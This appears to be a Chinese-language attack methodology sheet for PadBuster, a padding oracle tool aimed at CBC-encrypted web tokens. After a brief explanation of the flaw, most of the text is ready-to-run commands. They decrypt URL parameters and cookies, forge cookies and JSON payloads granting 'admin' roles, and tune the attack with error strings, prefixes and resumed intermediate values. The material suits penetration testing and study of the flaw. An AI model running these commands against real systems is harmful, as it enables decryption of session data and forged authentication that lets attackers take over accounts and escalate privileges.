wgpsec/padbuster-padding-oracle

PadBuster Padding Oracle 攻击方法论

PadBuster 是 Padding Oracle 攻击的自动化工具。核心能力：自动解密 CBC 密文 + 伪造任意明文的合法密文 + 支持多种编码。

项目地址：https://github.com/AonCyberLabs/PadBuster

漏洞原理

Padding Oracle 漏洞出现在使用 CBC 模式块加密（AES-CBC/DES-CBC）的应用中，当应用对 padding 错误和其他错误返回不同响应时，攻击者可逐字节还原明文或构造任意密文。

Phase 1: 解密模式

# 解密 URL 参数中的密文（Base64 编码，AES-128）
padbuster "http://target/api?token=ENCRYPTED_VALUE" "ENCRYPTED_VALUE" 16 -encoding 0

# 解密 Cookie 中的密文
padbuster "http://target/" "BASE64_CIPHER" 16 \
  -cookies "auth=BASE64_CIPHER" -encoding 0

# Hex 编码的密文
padbuster "http://target/page?data=HEX_CIPHER" "HEX_CIPHER" 16 -encoding 1

# DES-CBC（块大小 8）
padbuster "http://target/page?token=ENC" "ENC" 8 -encoding 0

Phase 2: 加密模式（伪造密文）

# 伪造 Cookie 值（最危险的利用方式）
padbuster "http://target/" "BASE64_CIPHER" 16 \
  -cookies "auth=BASE64_CIPHER" -encoding 0 \
  -plaintext "admin"

# 伪造 JSON 内容
padbuster "http://target/" "BASE64_CIPHER" 16 \
  -cookies "session=BASE64_CIPHER" -encoding 0 \
  -plaintext '{"role":"admin","uid":1}'

Phase 3: 高级选项

# 自定义错误识别（当服务器不用 HTTP 状态码区分时）
padbuster "http://target/decrypt?data=ENC" "ENC" 16 \
  -encoding 0 -error "Invalid padding"

# URL 前缀（密文在 URL 路径中）
padbuster "http://target/api/ENCRYPTED/action" "ENCRYPTED" 16 \
  -encoding 0 -prefix "http://target/api/"

# 密文不含 IV
padbuster "http://target/?data=ENC" "ENC" 16 -encoding 0 -noiv

# 详细输出
padbuster "http://target/?data=ENC" "ENC" 16 -encoding 0 -veryverbose

# 恢复中断的攻击（已知 intermediate 值）
padbuster "http://target/?data=ENC" "ENC" 16 \
  -encoding 0 -intermediate "KNOWN_INTERMEDIATE_HEX"

编码对照表

| 编码值 | 格式 | 说明 | |--------|------|------| | 0 | Base64 | 最常见 | | 1 | hex (小写) | a-f 格式 | | 2 | hex (大写) | A-F 格式 | | 3 | .NET UrlToken | ASP.NET 特有 | | 4 | WebSafe Base64 | URL 安全的 Base64 |